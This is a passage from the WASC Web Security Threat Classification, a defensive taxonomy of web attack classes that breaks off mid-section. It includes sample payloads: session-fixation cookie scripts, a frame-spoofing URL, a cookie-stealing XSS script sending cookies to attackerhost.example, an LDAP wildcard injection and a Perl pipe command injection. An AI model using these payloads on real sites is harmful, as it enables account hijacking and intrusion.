Web Application Security Consortium

www.webappsec.org | contact@webappsec.org

Web Application Security Consortium: Threat Classification

www.webappsec.org
Version: 1.00

Description

The Web Security Threat Classification is a cooperative effort to clarify and organize the threats to the security of a web site. The members of the Web Application Security Consortium have created this project to develop and promote industry standard terminology for describing these issues. Application developers, security professionals, software vendors, and compliance auditors will have the ability to access a consistent language for web security related issues.

Goals

- Identify all known web application security classes of attack.
- Agree on naming for each class of attack.
- Develop a structured manner to organize the classes of attack.
- Develop documentation that provides generic descriptions of each class of attack.

Documentation Uses

Further understand and articulate the security risks that threaten web sites. Enhance secure programming practices to prevent security issues during application development. Serve as a guideline to determine if web sites have been designed, developed, and reviewed against all the known threats. Assist with understanding the capabilities and selection of web security solutions.

Table of Contents

Overview

For many organizations, web sites serve as mission critical systems that must operate smoothly to process millions of dollars in daily online transactions. However, the actual value of a web site needs to be appraised on a case-by-case basis for each organization. Tangible and intangible value of anything is difficult to measure in monetary figures alone.

Web security vulnerabilities continually impact the risk of a web site. When any web security vulnerability is identified, performing the attack requires using at least one of several application attack techniques. These techniques are commonly referred to as the class of attack (the way a security vulnerability is taken advantage of). Many of these types of attack have recognizable names such as Buffer Overflows, SQL Injection, and Cross-site Scripting. As a baseline, the class of attack is the method the Web Security Threat Classification will use to explain and organize the threats to a web site.

The Web Security Threat Classification will compile and distill the known unique classes of attack, which have presented a threat to web sites in the past. Each class of attack will be given a standard name and explained with thorough documentation discussing the key points. Each class will also be organized in a flexible structure.

The formation of a Web Security Threat Classification will be of exceptional value to application developers, security professionals, software vendors or anyone else with an interest in web security. Independent security review methodologies, secure development guidelines, and product/service capability requirements will all benefit from the effort.

Background

Over the last several years, the web security industry has adopted dozens of confusing and esoteric terms describing vulnerability research. Terms such as Cross-site Scripting, Parameter Tampering, and Cookie Poisoning have all been given inconsistent names and double meanings attempting to describe their impact.

For example, when a web site is vulnerable to Cross-site Scripting, the security issue can result in the theft of a users cookie. Once the cookie has been compromised, this enables someone to perform a session hijacking and take over the user's online account. To take advantage of the vulnerability, an attacker uses data input manipulation by way of URL parameter tampering.

This previous attack description is confusing and can be described using all manner of technical jargon. This complex and interchangeable vocabulary causes frustration and disagreement in open forums, even when the participants agree on the core concepts.

Through the years, there has been no well-documented, standardized, complete, or accurate resource describing these issues. In doing our work, we've relied upon tidbits of information from a handful of books, dozens of white papers and hundreds of presentations.

When web security newcomers arrive to study, they quickly become overwhelmed and confused by the lack of standard language present. This confusion traps the web security field in a blur and slows ongoing progress. We need a formal, standardized approach to discuss web security issues as we continue to improve the security of the Web.

Contributors

Robert Auger	SPI Dynamics
Ryan Barnett	Center for Internet Security Apache Project Lead
Yuval Ben-Itzhak	Individual
Erik Caso	NT OBJECTives
Cesar Cerrudo	Application Security Inc.
Sacha Faust	SPI Dynamics
JD Glaser	NT OBJECTives
Jeremiah Grossman	WhiteHat Security
Sverre H. Huseby	Individual
Amit Klein	Sanctum
Mitja Kolsek	Acros Security
Aaron C. Newman	Application Security Inc.
Steve Orrin	Sanctum
Bill Pennington	WhiteHat Security
Ray Pompon	Conjungi Networks
Mike Shema	NT OBJECTives
Ory Segal	Sanctum
Caleb Sima	SPI Dynamics

Checklist

Authentication	
1	Brute Force *A Brute Force attack is an automated process of trial and error used to guess a person's username, password, credit-card number or cryptographic key.*
2	Insufficient Authentication *Insufficient Authentication occurs when a web site permits an attacker to access sensitive content or functionality without having to properly authenticate.*
3	Weak Password Recovery Validation *Weak Password Recovery Validation is when a web site permits an attacker to illegally obtain, change or recover another user's password.*
Authorization	
4	Credential/Session Prediction *Credential/Session Prediction is a method of hijacking or impersonating a web site user.*
5	Insufficient Authorization *Insufficient Authorization is when a web site permits access to sensitive content or functionality that should require increased access control restrictions.*
6	Insufficient Session Expiration *Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.*
7	Session Fixation *Session Fixation is an attack technique that forces a user's session ID to an explicit value.*
Client-side Attacks	
8	Content Spoofing *Content Spoofing is an attack technique used to trick a user into believing that certain content appearing on a web site is legitimate and not from an external source.*
9	Cross-site Scripting *Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user's browser.*
Command Execution	

10	Buffer Overflow *Buffer Overflow exploits are attacks that alter the flow of an application by overwriting parts of memory.*
11	Format String Attack *Format String Attacks alter the flow of an application by using string formatting library features to access other memory space.*
12	LDAP Injection *LDAP Injection is an attack technique used to exploit web sites that construct LDAP statements from user-supplied input.*
13	OS Commanding *OS Commanding is an attack technique used to exploit web sites by executing Operating System commands through manipulation of application input.*
14	SQL Injection *SQL Injection is an attack technique used to exploit web sites that construct SQL statements from user-supplied input.*
15	SSI Injection *SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server.*
16	XPath Injection *XPath Injection is an attack technique used to exploit web sites that construct XPath queries from user-supplied input.*
Information Disclosure	
17	Directory Indexing *Automatic directory listing/indexing is a web server function that lists all of the files within a requested directory if the normal base file is not present.*
18	Information Leakage *Information Leakage is when a web site reveals sensitive data, such as developer comments or error messages, which may aid an attacker in exploiting the system.*
19	Path Traversal *The Path Traversal attack technique forces access to files, directories, and commands that potentially reside outside the web document root directory.*
20	Predictable Resource Location *Predictable Resource Location is an attack technique used to uncover hidden web site content and functionality.*
Logical Attacks	

21	Abuse of Functionality *Abuse of Functionality is an attack technique that uses a web site's own features and functionality to consume, defraud, or circumvents access controls mechanisms.*
22	Denial of Service *Denial of Service (DoS) is an attack technique with the intent of preventing a web site from serving normal user activity.*
23	Insufficient Anti-automation *Insufficient Anti-automation is when a web site permits an attacker to automate a process that should only be performed manually.*
24	Insufficient Process Validation *Insufficient Process Validation is when a web site permits an attacker to bypass or circumvent the intended flow control of an application.*

Classes of Attack

1 Authentication

The Authentication section covers attacks that target a web site's method of validating the identity of a user, service or application. Authentication is performed using at least one of three mechanisms: "something you have", "something you know" or "something you are". This section will discuss the attacks used to circumvent or exploit the authentication process of a web site.

1.1 Brute Force

A Brute Force attack is an automated process of trial and error used to guess a person's username, password, credit-card number or cryptographic key.

Many systems will allow the use of weak passwords or cryptographic keys, and users will often choose easy to guess passwords, possibly found in a dictionary. Given this scenario, an attacker would cycle though the dictionary word by word, generating thousands or potentially millions of incorrect guesses searching for the valid password. When a guessed password allows access to the system, the brute force attack has been successful and the attacker is able access the account.

The same trial and error technique is also applicable to guessing encryption keys. When a web site uses a weak or small key size, its possible for an attacker to guess a correct key by testing all possible keys.

Essentially there are two types of brute force attacks, (normal) brute force and reverse brute force. A normal brute force attack uses a single username against many passwords. A reverse brute force attack uses many usernames against one password. In systems with

millions of user accounts, the odds of multiple users having the same password dramatically increases. While brute force techniques are highly popular and often successful, they can take hours, weeks or years to complete.

Example
Username = Jon
Passwords = smith, michael-jordan, *[pet names]*, *[birthdays]*, *[car names]*, ….

Usernames = Jon, Dan, Ed, Sara, Barbara, …..
Password = 12345678

References
"Brute Force Attack", Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

1.2 Insufficient Authentication

Insufficient Authentication occurs when a web site permits an attacker to access sensitive content or functionality without having to properly authenticate. Web-based administration tools are a good example of web sites providing access to sensitive functionality. Depending on the specific online resource, these web applications should not be directly accessible without the user required to properly verify their identity.

To get around setting up authentication, some resources are protected by "hiding" the specific location and not linking the location into the main web site or other public places. However, this approach

is nothing more than “Security Through Obscurity”. Its important to understand that simply because a resource is unknown to an attacker, it still remains accessible directly through a specific URL. The specific URL could be discovered through a Brute Force probing for common file and directory locations (`/admin` for example), error messages, referrer logs, or perhaps documented in help files. These resources, whether they are content or functionality driven, should be adequately protected.

Example

Many web applications have been designed with administrative functionality location directory off the root directory (`/admin/`). This directory is usually never linked to anywhere on the web site, but can still be accessed using a standard web browser.
Since the user or developer never expected anyone to view this page since its not linked, adding authentication is many times overlooked. If an attacker were to simply visit this page, they would obtain complete administrative access to the web site.

1.3 Weak Password Recovery Validation

Weak Password Recovery Validation is when a web site permits an attacker to illegally obtain, change or recover another user’s password. Conventional web site authentication methods require users to select and remember a password or passphrase. The user should be the only person that knows the password and it must be remembered precisely. As time passes, a user’s ability to remember a password fades. The matter is further complicated when the average user visits 20 sites requiring them to supply a password. (RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm) Thus, Password Recovery is an important part in servicing online users.

Examples of automated password recovery processes include requiring the user to answer a “secret question” defined as part of the

user registration process. This question can either be selected from a list of canned questions or supplied by the user. Another mechanism in use is having the user provide a "hint" during registration that will help the user remember his password. Other mechanisms require the user to provide several pieces of personal data such as their social security number, home address, zip code etc. to validate their identity. After the user has proven who they are, the recovery system will display or e-mail them a new password.

A web site is considered to have Weak Password Recovery Validation when an attacker is able to foil the recovery mechanism being used. This happens when the information required to validate a user's identity for recovery is either easily guessed or can be circumvented. Password recovery systems may be compromised through the use of brute force attacks, inherent system weaknesses, or easily guessed secret questions.

Example
(Weak methods of password recovery)

Information Verification
Many web sites only require the user to provide their e-mail address in combination with their home address and telephone number. This information can be easily obtained from any number of online white pages. As a result, the verification information is not very secret. Further, the information can be compromised via other methods such as Cross-site Scripting and Phishing Scams.

Password Hints
A web site using hints to help remind the user of their password can be attacked because the hint aids Brute Force attacks. A user may have fairly good password of "122277King" with a corresponding password hint of "bday+fav author". An attacker can glean from this hint that the user's password is a combination of the users birthday and the user's favorite author. This helps narrowing the dictionary Brute Force attack against the password significantly.

Secret Question and Answer
A user's password could be "Richmond" with a secret question of "Where were you born". An attacker could then limit a secret answer Brute Force attack to city names. Furthermore, if the attacker knows a little about the target user, learning their birthplace is also an easy task.

References

"Protecting Secret Keys with Personal Entropy", By Carl Ellison, C. Hall, R. Milbert, and B. Schneier
http://www.schneier.com/paper-personal-entropy.html

"Emergency Key Recovery without Third Parties", Carl Ellison
http://theworld.com/~cme/html/rump96.html

2 Authorization

The Authorization section covers attacks that target a web site's method of determining if a user, service, or application has the necessary permissions to perform a requested action. For example, many web sites should only allow certain users to access specific content or functionality. Other times a user's access to other resources might be restricted. Using various techniques, an attacker can fool a web site into increasing their privileges to protected areas.

2.1 Credential/Session Prediction

Credential/Session Prediction is a method of hijacking or impersonating a web site user. Deducing or guessing the unique value that identifies a particular session or user accomplishes the attack. Also known as Session Hijacking, the consequences could allow attackers the ability to issue web site requests with the compromised user's privileges.

Many web sites are designed to authenticate and track a user when communication is first established. To do this, users must prove their identity to the web site, typically by supplying a username/password (credentials) combination. Rather than passing these confidential credentials back and forth with each transaction, web sites will generate a unique "session ID" to identify the user session as authenticated. Subsequent communication between the user and the web site is tagged with the session ID as "proof" of the authenticated session. If an attacker is able predict or guess the session ID of another user, fraudulent activity is possible.

Example

Many web sites attempt to generate session IDs using proprietary algorithms. These custom methodologies might generation session IDs by simply incrementing static numbers. Or there could be more complex procedures such as factoring in time and other computer specific variables.

The session ID is then stored in a cookie, hidden form-field, or URL. If an attacker can determine the algorithm used to generate the session ID, an attack can be mounted as follows:

1) attacker connects to the web application acquiring the current session ID.
2) attacker calculates or Brute Forces the next session ID.
3) attacker switches the current value in the cookie/hidden form-field/URL and assumes the identity of the next user.

References

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

"Best Practices in Managing HTTP-Based Client Sessions", Gunter Ollmann - X-Force Security Assessment Services EMEA

http://www.itsecurity.com/papers/iss9.htm

"A Guide to Web Authentication Alternatives", Jan Wolter
http://www.unixpapa.com/auth/homebuilt.html

2.2 Insufficient Authorization

Insufficient Authorization is when a web site permits access to sensitive content or functionality that should require increased access control restrictions. When a user is authenticated to a web site, it does not necessarily mean that he should have full access to all content and that functionality should be granted arbitrarily.

Authorization procedures are performed after authentication, enforcing what a user, service or application is permitted to do. Thoughtful restrictions should govern particular web site activity according to policy. Sensitive portions of a web site may need to be restricted to everyone expect to perhaps an administrator.

Example

In the past, many web sites have stored administrative content and/or functionality the in hidden directories such as `/admin` or `/logs`. If an attacker was to directly request these directories, he would be allowed access. He may thus be able to reconfigure the web server, access sensitive information or compromise the web site.

References

"Brute Force Attack", Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler – iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf

2.3 Insufficient Session Expiration

Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization. Insufficient Session Expiration increases a web site's exposure to attacks that steal or impersonate other users.

Since HTTP is a stateless protocol, web sites commonly use session IDs to uniquely identify a user from request to request. Consequently, each session ID's confidentiality must be maintained in order to prevent multiple users from accessing the same account. A stolen session ID can be used to view another user's account or perform a fraudulent transaction.

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

A long expiration time increases an attacker's chance of successfully guessing a valid session ID. The long length of time increases the number of concurrent and open sessions, which enlarges the pool of numbers an attacker might guess.

Example

In a shared computing environment (more than one person has unrestricted physical access to a computer), Insufficient Session Expiration can be exploited to view another user's web activity. If a web site's logout function merely sends the victim to the site's home page without ending the session, another user could go through the

browser's page history and view pages accessed by the victim. Since the victim's session ID has not been expired, the attacker would be able to see the victim's session without being required to supply authentication credentials.

References

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

2.4 Session Fixation

Session Fixation is an attack technique that forces a user's session ID to an explicit value. Depending on the functionality of the target web site, a number of techniques can be utilized to "fix" the session ID value. These techniques range from Cross-site Scripting exploits to peppering the web site with previously made HTTP requests. After a user's session ID has been fixed, the attacker will wait for them to login. Once the user does so, the attacker uses the predefined session ID value to assume their online identity.

Generally speaking there are two types of session management systems when it comes to ID values. The first type is "permissive" systems that allow web browsers to specify any ID. The second type is "strict" systems that only accept server-side generated values. With permissive systems, arbitrary session IDs are maintained without contact with the web site. Strict systems require the attacker to maintain the "trap-session", with periodic web site contact, preventing inactivity timeouts.

Without active protection against session fixation, the attack can be mounted against any web site using sessions to identify authenticated users. Web sites using sessions IDs are normally

cookie-based, but URLs and hidden form-fields are used as well. Unfortunately, cookie-based sessions are the easiest to attack. Most of the currently identified attack methods are aimed toward the fixation of cookies.

In contrast to stealing a user's session ID after they have logged into a web site, session fixation provides a much wider window of opportunity. The active part of the attack takes place before the user logs in.

Example

The session fixation attack is normally a three step process:

1) Session set-up
The attacker sets up a "trap-session" for the target web site and obtains that session's ID. Or, the attacker may select an arbitrary session ID used in the attack. In some cases, the established trap session value must be maintained (kept alive) with repeated web site contact.

2) Session fixation
The attacker introduces the trap session value into the user's browser and fixes the user's session ID.

3) Session entrance
The attacker waits until the user logs into the target web site. When the user does so, the fixed session ID value will be used and the attacker may take over.

Fixing a user's session ID value can be achieved with the following techniques:

Issuing a new session ID cookie value using a client-side script
A Cross-site Scripting vulnerability present on any web site in the domain can be used to modify the current cookie value.

Code Snippet:

```
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom”;</script>.idc
```

Issuing a cookie using the META tag

This method is similar to the previous one, but also effective when Cross-site Scripting countermeasures prevent the injection of HTML `script` tags, but not `meta` tags.

Code Snippet:

```
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom”>.idc
```

Issuing a cookie using an HTTP response header

The attacker forces either the target web site, or any other site in the domain, to issue a session ID cookie. This can be achieved in many ways:

- Breaking into a web server in the domain (e.g., a poorly maintained WAP server)
- Poisoning a user’s DNS server, effectively adding the attacker’s web server to the domain
- Setting up a malicious web server in the domain (e.g., on a workstation in Windows 2000 domain, all workstations are also in the DNS domain)
- Exploiting an HTTP response splitting attack

Note: A long-term Session Fixation attack can be achieved by issuing a persistent cookie (e.g., expiring in 10 years), which will keep the session fixed even after the user restarts the computer.

Code Snippet:

```
http://example/<script>document.cookie="sessionid
=1234;%20 Expires=Friday,%201
Jan2010%2000:00:00%20GMT";</script>.idc
```

References

"Session Fixation Vulnerability in Web-based Applications", By Mitja Kolsek - Acros Security
http://www.acrossecurity.com/papers/session_fixation.pdf

"Divide and Conquer", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

3 Client-side Attacks

The Client-side Attacks section focuses on the abuse or exploitation of a web site's users. When a user visits a web site, trust is established between the two parties both technologically and psychologically. A user expects web sites they visit to deliver valid content. A user also expects the web site not to attack them during their stay. By leveraging these trust relationship expectations, an attacker may employ several techniques to exploit the user.

3.1 Content Spoofing

Content Spoofing is an attack technique used to trick a user into believing that certain content appearing on a web site is legitimate and not from an external source.

Some web pages are served using dynamically built HTML content sources. For example, the source location of a frame (`<frame src="http://foo.example/file.html">`) could be specified

by a URL parameter value. (`http://foo.example/page?frame_src=http://foo.example/file.html`). An attacker may be able to replace the "`frame_src`" parameter value with "`frame_src=http://attacker.example/spoof.html`". When the resulting web page is served, the browser location bar visibly remains under the user expected domain (`foo.example`), but the foreign data (`attacker.example`) is shrouded by legitimate content.

Specially crafted links can be sent to a user via e-mail, instant messages, left on bulletin board postings, or forced upon users by a Cross-site Scripting attack. If an attacker gets a user to visit a web page designated by their malicious URL, the user will believe he is viewing authentic content from one location when he is not. Users will implicitly trust the spoofed content since the browser location bar displays `http://foo.example`, when in fact the underlying HTML frame is referencing `http://attacker.example`.

This attack exploits the trust relationship established between the user and the web site. The technique has been used to create fake web pages including login forms, defacements, false press releases, etc.

Example

Creating a spoofed press release. Lets say a web site uses dynamically created HTML frames for their press release web pages. A user would visit a link such as (`http://foo.example/pr?pg=http://foo.example/pr/01012003.html`). The resulting web page HTML would be:

Code Snippet:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
```

The "pr" web application in the example above creates the HTML with a static menu and a dynamically generated FRAME SRC. The "pr_content" frame pulls its source from the URL parameter value of "pg" to display the requested press release content. But what if an attacker altered the normal URL to http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html? Without properly sanity checking the "pg" value, the resulting HTML would be:

Code Snippet:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
```

To the end user, the "attacker.example" spoofed content appears authentic and delivered from a legitimate source.

References

"A new spoof: all frames-based sites are vulnerable" - SecureXpert Labs

http://tbtf.com/archive/11-17-98.html#s02

3.2 Cross-site Scripting

Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user's browser. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site.

There are two types of Cross-site Scripting attacks, non-persistent and persistent. Non-persistent attacks require a user to visit a specially crafted link laced with malicious code. Upon visiting the link, the code embedded in the URL will be echoed and executed within the user's web browser. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to click on any link, just simply view the web page containing the code.

Example

Persistent Attack

Many web sites host bulletin boards where registered users may post messages. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.

Cookie Stealing Code Snippet:

```
<SCRIPT>
document.location=
'http://attackerhost.example/cgi-bin/
cookiesteal.cgi?'+document.cookie
</SCRIPT>
```

Non-Persistent Attack

Many web portals offer a personalized view of a web site and greet a logged in user with “Welcome, <your username>”. Sometimes the data referencing a logged in user are stored within the query string of a URL and echoed to the screen

Portal URL example:

```
http://portal.example/index.php?sessionid=12312312&
username=Joe
```

In the example above we see that the username “Joe” is stored in the URL. The resulting web page displays a “Welcome, Joe” message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user’s account.

A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.

URL Encoded example of Cookie Stealing URL:

```
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
```

Decoded example of Cookie Stealing URL:

```
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attacker
host.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>
```

References

"CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

"The Cross Site Scripting FAQ" – CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml

"Cross Site Scripting Info"
http://httpd.apache.org/info/css-security/

"24 Character entity references in HTML 4"
http://www.w3.org/TR/html4/sgml/entities.html

"Understanding Malicious Content Mitigation for Web Developers"
http://www.cert.org/tech_tips/malicious_code_mitigation.html

"Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett – SPI Dynamics

http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

"Cross-site Scripting Explained", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html

4 Command Execution

The Command Execution section covers attacks designed to execute remote commands on the web site. All web sites utilize user-supplied input to fulfill requests. Often these user-supplied data are used to create construct commands resulting in dynamic web page content. If this process is done insecurely, an attacker could alter command execution.

4.1 Buffer Overflow

Buffer Overflow exploits are attacks that alter the flow of an application by overwriting parts of memory. Buffer Overflow is a common software flaw that results in an error condition. This error condition occurs when data written to memory exceed the allocated size of the buffer. As the buffer is overflowed, adjacent memory addresses are overwritten causing the software to fault or crash. When unrestricted, properly-crafted input can be used to overflow the buffer resulting in a number of security issues.

A Buffer Overflow can be used as a Denial of Service attack when memory is corrupted, resulting in software failure. Even more critical is the ability of a Buffer Overflow attack to alter application flow and force unintended actions. This scenario can occur in several ways. Buffer Overflow vulnerabilities have been used to overwrite stack pointers and redirect the program to execute malicious instructions. Buffer Overflows have also been used to change program variables.

Buffer Overflow vulnerabilities have become quite common in the information security industry and have often plagued web servers. However, they have not been commonly seen or exploited at the web application layer itself. The primary reason is that an attacker needs to analyze the application source code or the software binaries. Since the attacker must exploit custom code on a remote system, they would have to perform the attack blind, making success very difficult.

Buffer Overflows vulnerabilities most commonly occur in programming languages such as C and C++. A Buffer Overflow can occur in a CGI program or when a web page accesses a C program.

References

"Inside the Buffer Overflow Attack: Mechanism, Method and Prevention", By Mark E. Donaldson - GSEC
http://www.sans.org/rr/code/inside_buffer.php

"w00w00 on Heap Overflows", By Matt Conover - w00w00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt

"Smashing The Stack For Fun And Profit", By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt

4.2 Format String Attack

Format String Attacks alter the flow of an application by using string formatting library features to access other memory space. Vulnerabilities occur when user-supplied data are used directly as formatting string input for certain C/C++ functions (e.g. `fprintf`, `printf`, `sprintf`, `setproctitle`, `syslog`, ...).

If an attacker passes a format string consisting of `printf` conversion characters (e.g. “%f”, “%p”, “%n”, etc.) as parameter value to the web application, they may:

- Execute arbitrary code on the server
- Read values off the stack
- Cause segmentation faults / software crashes

Example

Lets assume that a web application has a parameter `emailAddress`, dictated by the user. The application prints the value of this variable by using the `printf` function:

```
printf(emailAddress);
```

If the value sent to the `emailAddress` parameter contains conversion characters, `printf` will parse the conversion characters and use the additionally supplied corresponding arguments. If no such arguments actually exist, data from the stack will be used in accordance to the order expected by the `printf` function.

The possible uses of the Format String Attacks in such a case can be:

- Read data from the stack: If the output stream of the `printf` function is presented back to the attacker, he may read values on the stack by sending the conversion character “%x” (one or more times).
- Read character strings from the process’ memory: If the output stream of the `printf` function is presented back to the attacker, he can read character strings at arbitrary memory locations by

using the “%s” conversion character (and other conversion characters in order to reach specific locations).
- Write an integer to locations in the process’ memory: By using the “%n” conversion character, an attacker may write an integer value to any location in memory. (E.g. overwrite important program flags that control access privileges, or overwrite return addresses on the stack, etc.)

References

“(Maybe) the first publicly known Format Strings exploit”
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html

“Analysis of format string bugs”, By Andreas Thuemmel
http://downloads.securityfocus.com/library/format-bug-analysis.pdf

“Format string input validation error in wu-ftpd site_exec() function”
http://www.kb.cert.org/vuls/id/29823

4.3 LDAP Injection

LDAP Injection is an attack technique used to exploit web sites that construct LDAP statements from user-supplied input.

Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for both querying and manipulating X.500 directory services. The LDAP protocol runs over Internet transport protocols, such as TCP. Web applications may use user-supplied input to create custom LDAP statements for dynamic web page requests.

When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of an LDAP statement. When an attacker is able to modify an LDAP statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). This can cause serious security problems

where the permissions grant the rights to query, modify or remove anything inside the LDAP tree.

The same advanced exploitation techniques available in SQL Injection can also be similarly applied in LDAP Injection.

Example

Vulnerable code with comments:

```
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4:  Dim userName
line 5:  Dim filter
line 6:  Dim ldapObj
line 7:
line 8:  Const LDAP_SERVER = "ldap.example"
line 9:
line 10:     userName = Request.QueryString("user")
line 11:
line 12:     if( userName = "" ) then
line 13:         Response.Write("<b>Invalid
request. Please specify a
valid user name</b><br>")
line 14:         Response.End()
line 15:     end if
line 16:
line 17:
line 18:     filter = "(uid=" + CStr(userName) +
")"      ' searching
for the user entry
line 19:
line 20:
line 21:     'Creating the LDAP object and setting
the base dn
```

```
line 22:     Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
line 23:     ldapObj.ServerName = LDAP_SERVER
line 24:     ldapObj.DN =
"ou=people,dc=spilab,dc=com"
line 25:
line 26:     'Setting the search filter
line 27:     ldapObj.SearchFilter = filter
line 28:
line 29:     ldapObj.Search
line 30:
line 31:     'Showing the user information
line 32:     While ldapObj.NextResult = 1
line 33:         Response.Write("<p>")
line 34:
line 35:         Response.Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
line 36:         For i = 0 To ldapObj.AttrCount -1
line 37:             Response.Write("<b>" +
ldapObj.AttrType(i) +
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
line 38:         Next
line 39:         Response.Write("</p>")
line 40:     Wend
line 41: %>
line 42: </body>
line 43: </html>
```

Looking at the code, we see on line 10 that the `userName` variable is initialized with the parameter `user` and then quickly validated to see if the value is empty. If the value is not empty, the `userName` is used to initialize the `filter` variable on line 18. This new variable is directly used to construct an LDAP query that will be use in the call to `SearchFilter` on line 27. In this scenario, the attacker has

complete control over what will be queried on the LDAP server, and he will get the result of the query when the code hits line 32 to 40 where all the results and their attributes are displayed back to the user.

Attack Example

```
http://example/ldapsearch.asp?user=*
```

In the example above, we send the `*` character in the user parameter which will result in the filter variable in the code to be initialized with (`uid=*`). The resulting LDAP statement will make the server return any object that contains a `uid` attribute.

References

"LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust – SPI Dynamics
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf

"A String Representation of LDAP Search Filters"
http://www.ietf.org/rfc/rfc1960.txt

"Understanding LDAP"
http://www.redbooks.ibm.com/redbooks/SG244986.html

"LDAP Resources"
http://ldapman.org/

4.4 OS Commanding

OS Commanding is an attack technique used to exploit web sites by executing Operating System commands through manipulation of application input.

When a web application does not properly sanitize user-supplied input before using it within application code, it may be possible to trick the application into executing Operating System commands. The executed commands will run with the same permissions of the component that executed the command (e.g. Database server, Web application server, Web server, etc.).

Example

Perl allows piping data from a process into an `open` statement, by appending a '`|`' (Pipe) character onto the end of a filename.

Pipe character examples:

```
# Execute "/bin/ls" and pipe the output to the
open statement
open(FILE, "/bin/ls|")
```

Web applications often include parameters that specify a file that is displayed or used as a template. If the web application does not properly sanitize the input provided by a user, an attacker may change the parameter value to include a shell command followed by the pipe symbol (shown above).

If the original URL of the web application is:
`http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt`

Changing the `template` parameter value, the attacker can trick the web application into executing the command `/bin/ls`:
`http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|`
Most scripting languages enable programmers to execute Operating System commands during run-time, by using various `exec` functions. If the web application allows user-supplied input to be used inside

